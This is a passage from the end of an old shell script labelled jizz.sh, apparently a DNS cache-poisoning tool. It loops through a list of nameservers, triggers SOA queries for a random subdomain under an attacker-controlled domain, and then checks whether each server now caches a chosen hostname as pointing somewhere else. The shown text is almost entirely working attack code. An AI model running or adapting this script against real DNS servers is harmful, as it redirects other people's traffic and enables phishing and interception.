  835. CRUNCH=1
  836.  
  837. while true ; do
  838.  
  839. TARGET=`echo $NS | cut -f$CRUNCH -d" "`
  840.  
  841. if [ "$TARGET" = "" ]; then
  842. killall -9 jizz >/dev/null &
  843. exit 1; else TARGET=$TARGET; fi
  844.  
  845. echo "trying to cache $2 on $TARGET..."
  846. nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
  847. TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`
  848.  
  849. if [ "$TEST" = "$2" ]; then
  850. echo "Success!, $2 is cached on $TARGET as $1"
  851. else echo "Failed..."; fi
  852.  
  853. CRUNCH=`expr $CRUNCH + 1`
  854.  
  855. done
  856.  
  857. --- end jizz.sh ---
  858.